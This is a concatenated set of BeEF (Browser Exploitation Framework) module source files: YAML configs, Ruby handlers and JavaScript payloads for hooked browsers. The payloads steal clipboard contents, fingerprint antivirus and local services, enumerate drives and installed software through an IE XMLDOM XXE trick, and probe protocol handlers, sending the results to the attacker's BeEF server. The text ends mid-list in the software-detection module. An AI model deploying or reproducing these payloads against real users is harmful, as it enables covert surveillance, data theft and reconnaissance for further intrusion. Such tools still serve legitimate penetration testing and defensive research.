# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: zeroshell_2_0rc2_scanner: enable: true category: ["Exploits", "ZeroShell"] name: "ZeroShell <= 2.0RC2 Scanner" description: "Attempts to scan and detect ZeroShell <= 2.0RC2 instance over the victim's network.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />" authors: ["ycam"] target: working: ["All"]
Ruby
beef/modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Zeroshell_2_0rc2_scanner < BeEF::Core::Command def self.options [ { 'name' => 'ip_start', 'ui_label' => 'From IP', 'value' => '192.168.0.1' }, { 'name' => 'ip_end', 'ui_label' => 'To IP', 'value' => '192.168.0.254' }, { 'name' => 'timeout', 'ui_label' => 'Get result in (ms)', 'value' => '30000' }, { 'name' => 'ip_bloc', 'ui_label' => 'Scan per bloc (ip)', 'value' => '100' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/host/clipboard_theft/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { var clipboard = clipboardData.getData("Text"); beef.debug("[Clipboard Theft] Success: Retrieved clipboard contents (" + clipboard.length + ' bytes)'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboard, beef.are.status_success()); } catch (e) { beef.debug("[Clipboard Theft] Error: Could not retrieve clipboard contents"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=clipboardData.getData is not supported.", beef.are.status_error()); } });
YAML
beef/modules/host/clipboard_theft/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: clipboard_theft: enable: true category: "Host" name: "Get Clipboard" description: "Retrieves the clipboard contents. This module works invisibly with Internet Explorer 6.x however Internet Explorer 7.x - 8.x will prompt the user for permission to access the clipboard." authors: ["bcoles"] target: working: IE: min_ver: 6 max_ver: 6 user_notify: IE: min_ver: 7 max_ver: 8 not_working: ["All"]
Ruby
beef/modules/host/clipboard_theft/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Clipboard_theft < BeEF::Core::Command def post_execute content = {} content['clipboard'] = @datastore['clipboard'] save content end end
JavaScript
beef/modules/host/detect_airdroid/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = "Not Installed"; var dom = document.createElement('b'); var img = new Image; img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png"; img.onload = function() { if (this.width == 146 && this.height == 176) result = "Installed"; beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success()); dom.removeChild(this); } img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error()); dom.removeChild(this); } dom.appendChild(img); });
YAML
beef/modules/host/detect_airdroid/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_airdroid: enable: true category: "Host" name: "Detect Airdroid" description: "This module attempts to detect Airdroid application for Android running on localhost (default port: 8888)" authors: ["bcoles"] target: working: ALL: os: ["Android"] not_working: ALL: os: ["All"]
Ruby
beef/modules/host/detect_airdroid/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_airdroid < BeEF::Core::Command def self.options [ { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1' }, { 'name' => 'port', 'ui_label' => 'Port', 'value' => '8888' } ] end def post_execute save({ 'airdroid' => @datastore['airdroid'] }) configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proto=(https?)&ip=([\d.]+)&port=(\d+)&airdroid=Installed$/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) session_id = @datastore['beefhook'] type = 'Airdroid' if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found 'Airdroid' [proto: #{proto}, ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type) end end end
JavaScript
beef/modules/host/detect_antivirus/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //Detection of av elements starts var image = "<body><img src='x'/></body>"; var hidden_iframe = beef.dom.createInvisibleIframe(); hidden_iframe.setAttribute("id", "frmin"); document.body.appendChild(hidden_iframe); var kaspersky_iframe = hidden_iframe.contentDocument || hidden_iframe.contentWindow.document; kaspersky_iframe.open(); kaspersky_iframe.write(image); kaspersky_iframe.close(); var frm = document.getElementById("frmin"); ka = frm.contentDocument.getElementsByTagName("html")[0].outerHTML; var AV = document.getElementById("abs-top-frame"); var NAV = document.getElementById("coFrameDiv"); var ASWregexp = new RegExp("ASW\/"); //Detection of av elements ends if (ASWregexp.test(navigator.userAgent)) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avast'); if (ka.indexOf("kasperskylab_antibanner") !== -1) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky'); else if (ka.indexOf("netdefender/hui/ndhui.js") !== -1) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Bitdefender'); else if (AV !== null) { if (AV.outerHTML.indexOf('/html/top.html') >= 0 & AV.outerHTML.indexOf('chrome-extension://') >= 0) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avira'); } else if (NAV !== null) { var nort = NAV.outerHTML; if (nort.indexOf('coToolbarFrame') >= 0 & nort.indexOf('/toolbar/placeholder.html') >= 0 & nort.indexOf('chrome-extension://') >= 0) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Norton'); } else if (document.getElementsByClassName('drweb_btn').length > 0) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb'); else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected'); });
YAML
beef/modules/host/detect_antivirus/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_antivirus: enable: true category: "Host" name: "Detect Antivirus" description: "This module detects the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, Avast (ASW), BitDefender, Norton, Dr. Web)" authors: ["phosphore","vah13","nbblrr"] target: working: ["ALL"]
Ruby
beef/modules/host/detect_antivirus/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_antivirus < BeEF::Core::Command def post_execute save({ 'Antivirus' => @datastore['antivirus'] }) end end
JavaScript
beef/modules/host/detect_coupon_printer/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!beef.browser.hasWebSocket()) { beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); } //var url = 'ws://127.0.0.1:2687'; //var url = 'ws://127.0.0.1:26876'; var url = 'wss://printer.cpnprt.com:4004'; // resolves to 127.0.0.1 beef.debug('[Detect Coupon Printer] Opening WebSocket connection: ' + url); const socket = new WebSocket(url); socket.addEventListener('open', function (event) { // Get Coupon Printer Service version socket.send('method=GetVersion;input=Y|;separator=|'); // Device ID socket.send('method=GetDeviceID;input=Y|;separator=|'); // Check Printer socket.send('method=CheckPrinter;input=Y|;separator=|'); }); socket.onerror = function(error) { beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error)); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error()); }; socket.onclose = function(event) { beef.debug('[Detect Coupon Printer] Disconnected from WebSocket.'); }; socket.addEventListener('message', function (event) { beef.debug('[Detect Coupon Printer] WebSocket Response:' + event.data); try { var result = JSON.parse(event.data); if (result['GetVersion']) { beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']); beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success()); } else if (result['GetDeviceID']) { beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']); beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success()); } else if (result['CheckPrinter']) { beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']); beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success()); } } catch(e) { beef.debug('Could not parse WebSocket response JSON: ' + event.data); } }); });
YAML
beef/modules/host/detect_coupon_printer/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_coupon_printer: enable: true category: "Host" name: "Detect Coupon Printer" description: "This module attempts to detect Coupon Printer on localhost on the default WebSocket port 4004." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/host/detect_coupon_printer/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_coupon_printer < BeEF::Core::Command def post_execute save({ 'result' => @datastore['results'] }) end end
JavaScript
beef/modules/host/detect_cups/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = "Not Installed"; var dom = document.createElement('b'); var img = new Image; img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png"; img.onload = function() { if (this.width == 128 && this.height == 128) result="Installed"; beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success()); dom.removeChild(this); } img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error()); dom.removeChild(this); } dom.appendChild(img); });
YAML
beef/modules/host/detect_cups/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_cups: enable: true category: "Host" name: "Detect CUPS" description: "This module attempts to detect Common UNIX Printing System (CUPS) on localhost on the default port 631." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/host/detect_cups/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_cups < BeEF::Core::Command def self.options [ { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1' }, { 'name' => 'port', 'ui_label' => 'Port', 'value' => '631' } ] end def post_execute save({ 'CUPS' => @datastore['cups'] }) configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proto=(https?)&ip=([\d.]+)&port=(\d+)&cups=Installed$/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) session_id = @datastore['beefhook'] type = 'CUPS' if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found 'CUPS' [proto: #{proto}, ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type) end end end
JavaScript
beef/modules/host/detect_default_browser/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+beef.os.getDefaultBrowser()); });
YAML
beef/modules/host/detect_default_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_default_browser: enable: true category: "Host" name: "Detect Default Browser" description: "This module detects which browser is configured as the default web browser." authors: ["unsticky"] target: working: ["IE"] not_working: ["All"]
Ruby
beef/modules/host/detect_default_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_default_browser < BeEF::Core::Command def post_execute content = {} content['browser'] = @datastore['browser'] unless @datastore['browser'].nil? save content end end
JavaScript
beef/modules/host/detect_google_desktop/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var dom = document.createElement('b'); var img = new Image; img.src = "http://127.0.0.1:4664/logo3.gif"; img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); } img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); } dom.appendChild(img); });
YAML
beef/modules/host/detect_google_desktop/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_google_desktop: enable: true category: "Host" name: "Detect Google Desktop" description: "This module attempts to detect Google Desktop running on the default port 4664." authors: ["bcoles"] target: not_working: ALL: os: ["iOS"] working: ["ALL"]
Ruby
beef/modules/host/detect_google_desktop/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_google_desktop < BeEF::Core::Command def post_execute save({ 'GoogleDesktop' => @datastore['google_desktop'] }) end end
JavaScript
beef/modules/host/detect_hp/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var is_hp = new Array; var dom = document.createElement('b'); parse_results = function() { var result = "false"; if (is_hp.length) result = "true"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "is_hp="+result); }; var fingerprints = new Array( new Array("warning","res://hpnetworkcheckplugin.dll/warning.jpg"), new Array("hpr_rgb","res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png") ); for (var i=0; i<fingerprints.length; i++) { var img = new Image; img.id = fingerprints[i][0]; img.name = fingerprints[i][0]; img.src = fingerprints[i][1]; img.onload = function() { is_hp.push(this.id); dom.removeChild(this); } dom.appendChild(img); } setTimeout('parse_results();', 2000); });
YAML
beef/modules/host/detect_hp/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_hp: enable: true category: "Host" name: "Detect Hewlett-Packard" description: "This module attempts to detect software installed by default on HP systems. It uses the 'res' protocol handler which works only on Internet Explorer." authors: ["bcoles"] target: working: ["IE"] not_working: ["ALL"]
Ruby
beef/modules/host/detect_hp/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ## class Detect_hp < BeEF::Core::Command def post_execute content = {} content['is_hp'] = @datastore['is_hp'] unless @datastore['is_hp'].nil? save content end end
JavaScript
beef/modules/host/detect_local_drives/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); return false; } function detect_drive(drive) { var dtd = drive + ':\\'; var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">'; var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async = true; try { xmlDoc.loadXML(xml); return xmlDoc.parseError.errorCode == 0 ? true : false; } catch (e) { return true; } } // Detect drives: A - Z for (var i = 65; i <= 90; i++) { var drive = String.fromCharCode(i); beef.debug('[Detect Local Drives] Checking for drive: ' + drive); var result = detect_drive(drive); if (result) { beef.debug('[Detect Local Drives] Found drive: ' + drive); beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success()); } } });
YAML
beef/modules/host/detect_local_drives/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_local_drives: enable: true category: "Host" name: "Detect Local Drives" description: "This module attempts to detect local drives on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl)." authors: ["bcoles"] target: working: ["IE"] not_working: ["ALL"]
Ruby
beef/modules/host/detect_local_drives/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Detect_local_drives < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil? save content end end
JavaScript
beef/modules/host/detect_protocol_handlers/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Initialize var handler_results = new Array; var handler_protocol = "<%= @handler_protocol %>".split(/\s*,\s*/); var handler_addr = "<%= @handler_addr %>"; var iframe = beef.dom.createInvisibleIframe(); // Internet Explorer if (beef.browser.isIE()) { var protocol_link = document.createElement('a'); protocol_link.setAttribute('id', "protocol_link"); protocol_link.setAttribute('href', ""); iframe.contentWindow.document.appendChild(protocol_link); for (var i=0; i<handler_protocol.length; i++) { var result = ""; var protocol = handler_protocol[i]; try { var anchor = iframe.contentWindow.document.getElementById("protocol_link"); anchor.href = protocol+"://"+handler_addr; if (anchor.protocolLong == "Unknown Protocol") result = protocol + " unknown"; else result = protocol + " exists"; } catch(e) { result = protocol + " does not exist"; } handler_results.push(result); } iframe.contentWindow.document.removeChild(protocol_link); } // Firefox if (beef.browser.isFF()) { var protocol_iframe = document.createElement('iframe'); protocol_iframe.setAttribute('id', "protocol_iframe_<%= @command_id %>"); protocol_iframe.setAttribute('src', ""); protocol_iframe.setAttribute('style', "display:none;height:1px;width:1px;border:none"); document.body.appendChild(protocol_iframe); for (var i=0; i<handler_protocol.length; i++) { var result = ""; var protocol = handler_protocol[i]; try { document.getElementById('protocol_iframe_<%= @command_id %>').contentWindow.location = protocol+"://"+handler_addr; } catch(e) { if (e.name == "NS_ERROR_UNKNOWN_PROTOCOL") result = protocol + " does not exist"; else result = protocol + " unknown"; } if (!result) result = protocol + " exists"; handler_results.push(result); } setTimeout("document.body.removeChild(document.getElementById('protocol_iframe_<%= @command_id %>'));",3000); } // Return results beef.net.send('<%= @command_url %>', <%= @command_id %>, 'handlers='+JSON.stringify(handler_results)); });
YAML
beef/modules/host/detect_protocol_handlers/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: detect_protocol_handlers: enable: true category: "Host" name: "Get Protocol Handlers" description: "This module attempts to identify protocol handlers present on the hooked browser. Only Internet Explorer and Firefox are supported.<br /><br />Firefox users are prompted to launch the application for which the protocol handler is responsible.<br /><br />Firefox users are warned when there is no application assigned to a protocol handler.<br /><br /><br /><br />The possible return values are: unknown, exists, does not exist." authors: ["bcoles"] target: working: ["IE"] user_notify: ["FF"] not_working: ["ALL"]
Ruby
beef/modules/host/detect_protocol_handlers/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # Some additional protocol handlers # # ChromeHTML, code, Explorer.AssocProtocol.search-ms, FirefoxURL, gopher, icy, ie.http, ie.https, ie.ftp, iehistory, ierss, irc, itms, magnet, mapi, mms, mmst, mmsu, msbd, msdigitallocker, nntp, opera.protocol, outlook, pcast, rlogin, sc, search, search-ms, shout, skype, snews, steam, stssync, teamspeak, tel, telnet, tn3270, ts3file, ts3server, unsv, uvox, ventrilo, winamp, WindowsCalendar.UrlWebcal.1, WindowsMail.Url.Mailto, WindowsMail.Url.news, WindowsMail.Url.nntp, WindowsMail.Url.snews, WMP11.AssocProtocol.MMS, wpc class Detect_protocol_handlers < BeEF::Core::Command def self.options [ { 'ui_label' => 'Link Protocol(s)', 'name' => 'handler_protocol', 'description' => 'Comma separated list of protocol handlers', 'value' => 'http, https, ftp, file, mailto, news, feed, ldap', 'width' => '200px' }, { 'ui_label' => 'Link Address', 'name' => 'handler_addr', 'description' => 'Handler Address - usually an IP address or domain name. The user will see this.', 'value' => 'BeEF', 'width' => '200px' } ] end def post_execute save({ 'handlers' => @datastore['handlers'] }) end end
JavaScript
beef/modules/host/detect_software/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Software] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); return false; } var drive = 'C'; var win_dir = 'WINDOWS'; var program_dirs = ['Program Files', 'Program Files (x86)']; var xmldom_supported = false; function detect_folder(path) { var dtd = 'res://' + path; var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">'; var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async = true; try { xmlDoc.loadXML(xml); return false; } catch (e) { return true; } } // Test XMLDOM XXE technique for (var i = 0; i < program_dirs.length; i++) { var path = drive + ":\\" + program_dirs[i]; var result = detect_folder(path); if (result) { xmldom_supported = true; break; } } // Detect software using XMLDOM XXE technique var software = [ ['7zip', '7-Zip'], ['Acoustica MP3 Audio Mixer', 'Acoustica MP3 Audio Mixer'], ['Autodesk AutoCAD 2015', 'Autodesk\\AutoCAD 2015'], ['Autodesk AutoCAD 2016', 'Autodesk\\AutoCAD 2016'], ['Adobe Help', 'Adobe\\Adobe Help Viewer'], ['Adobe Professional 7', 'Adobe\\Acrobat 7.0'], ['Adobe Reader 7', 'Adobe\\Reader 7.0\\Reader'], ['Adobe Reader 8', 'Adobe\\Reader 8.0\\Reader'], ['Adobe Reader 9', 'Adobe\\Reader 9.0\\Reader'], ['Adobe Reader 10', 'Adobe\\Reader 10.0\\Reader'], ['Adobe Reader 11', 'Adobe\\Reader 11.0\\Reader'], ['Ahead Nero', 'ahead'], ['AirPcap', 'Riverbed\\AirPcap'], ['Apple Software Update', 'Apple Software Update'], ['Azureus', 'azureus'], ['Baidu', 'baidu'], ['BitComet', 'BitComet'], ['BitSpirit', 'BitSpirit'], ['BioExplorer', 'BioExplorer'], ['Cisco Prime Data Center Network Manager', 'Cisco Systems\\dcm'], ['Citrix', 'Citrix'], ['DbVisualizer', 'DbVisualizer'], ['eMule', 'eMule'], ['eMule', 'easyMule2'], ['Flash MX 2004', 'Macromedia\\Flash MX 2004'], ['Flashget', 'FlashGet'], ['Flashget 3', 'FlashGet Network\\FlashGet 3'], ['FoxIt Reader', 'Foxit Software'], ['FoxIt Reader', 'Foxit Reader'], ['Free Nokia Ringtone Converter', 'Free Nokia Ringtone Converter'], ['Git', 'Git'], ['Gnome Music Player Client', 'Gnome Music Player Client'], ['GnuPG', 'GNU\\GnuPG'], ['Heroku', 'Heroku'], ['HP AutoPass License Server', 'HP\\HP AutoPass License Server'], ['HP TRIM', 'Hewlett-Packard\\HP TRIM'], ['IceWeasel', 'IceWeasel'], ['IncredibleCharts', 'IncredibleCharts'], ['Internet Explorer', 'Internet Explorer'], ['iTunes', 'iTunes'], ['Java JRE 6', 'Java\\jre6'], ['Java JRE 7', 'Java\\jre7'], ['Java JRE 8', 'Java\\jre8'], ['JetBrains dotPeek', 'JetBrains\\dotPeek'], ['Juniper Network Connect 8.1', 'Juniper Networks\\Network Connect 8.1'], ['JXplorer', 'jxplorer'], ['Lexmark Markvision Enterprise', 'Lexmark\\Markvision Enterprise'], ['Magellan MapSend Lite', 'Magellan\MapSend Lite'], ['Microsoft Baseline Security Analyzer 2', 'Microsoft Baseline Security Analyzer 2'], ['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7'], ['Microsoft SQL Server', 'Microsoft SQL Server'], ['Microsoft SQL Server Compact Edition', 'Microsoft SQL Server Compact Edition'], ['Microsoft Virtual PC', 'Microsoft Virtual PC'], ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8'], ['Microsoft Visual Studio 9', 'Microsoft Visual Studio 9'], ['Microsoft Visual Studio 10', 'Microsoft Visual Studio 10'], ['Microsoft Visual Studio 11', 'Microsoft Visual Studio 11'], ['Microsoft Visual Studio 12', 'Microsoft Visual Studio 12'], ['mIRC', 'mIRC'], ['Mozilla Firefox', 'Mozilla Firefox'], ['MSN Messenger', 'Messenger'], ['NipperStudio', 'NipperStudio'], ['KeePass Password Safe 2', 'KeePass Password Safe 2'], ['NetBeans 8.1', 'NetBeans 8.1'], ['NeuroServer', 'NeuroServer'], ['Nokia PC Suite', 'Nokia\\Connectivity Cable Driver'], ['Notepad Plus Plus', 'Notepad++'], ['Opera', 'Opera'], ['Oracle JavaFX 2.0 Runtime', 'Oracle\\JavaFX 2.0 Runtime'], ['Outlook Express', 'Outlook Express'], ['Paritech Pulse', 'Paritech\\Pulse'], ['PGP Desktop', 'PGP Corporation\\PGP Desktop'], ['Picasa2', 'picasa2'], ['Proxifier', 'Proxifier'], ['QuickTime', 'QuickTime'], ['QLogic SANsurfer', 'QLogic Corporation\SANsurfer'], ['radmin', 'Radmin'], ['Real VNC4', 'RealVNC\\VNC4'], ['RedGate .NET Reflector', 'Red Gate\\.NET Reflector'], ['Resource Hacker', 'Resource Hacker'], ['Safari', 'Safari'], ['SeaMonkey', 'SeaMonkey'], ['SiteKiosk', 'SiteKiosk'], ['Spark', 'Spark'], ['TeamSpeak 3 Client', 'TeamSpeak 3 Client'], ['TinaSoft Easy Cafe Server', 'TinaSoft\\Easy Cafe Server'], ['Trend Micro Deep Security Manager', 'Trend Micro\\Deep Security Manager'], ['TrueCrypt', 'TrueCrypt'], ['TopShare Portfolio Manager v2', 'TopShare Portfolio Manager V2'], ['Samsung USB Drivers for Mobile Phones', 'SAMSUNG\\USB Drivers'], ['Secure CRT', 'SecureCRT'], ['Serv—U', 'RhinoSoft.com\\Serv—U'], ['Skype', 'Skype\\Phone'], ['SoapUI 5.0.0', 'SmartBear\\SoapUI-5.0.0'], ['Thunder', 'Thunder Network\\Thunder'], ['Thunder', 'Thunder Network\\Thunder6'], ['Tencent QQDownload', 'Tencent\\QQDownload'], ['VLC', 'VideoLAN\\VLC'], ['Ultramon', 'ultramon\\ultramondesktop.exe'], ['Unreal Media Server', 'UnrealStreaming\\UMediaServer'], ['uTorrent', 'uTorrent'], ['VMware Workstation', 'vmware\\vmware workstation'], ['VMware Tools', 'VMware\\VMware Tools'], ['VMware Workstation', 'VMware\\VMware Workstation'], ['VirtualBox Guest Additions', 'Oracle\\VirtualBox Guest Additions'], ['Winamp', 'winamp'], ['Windows DVD Maker', 'DVD Maker'], ['Windows Journal', 'Windows Journal'], ['Windows Media Player', 'Windows Media Player'], ['Windows Mail', 'Windows Mail'], ['Windows Movie Maker', 'Movie Maker'], ['Windows NetMeeting', 'NetMeeting'], ['Windows Photo Viewer', 'Windows Photo Viewer'], ['WinHex', 'WinHex'], ['WinRAR', 'WinRAR'], ['WinZip', 'WinZip'], ['Wireshark', 'Wireshark'], ['WinPcap', 'WinPcap'], ['WinSCP', 'WinSCP'], ['XFire', 'xfire'], ['Xming', 'Xming X Server'], ['Yahoo Messenger', 'Yahoo!\\Messenger'], // AntiVirus ['360Safe', 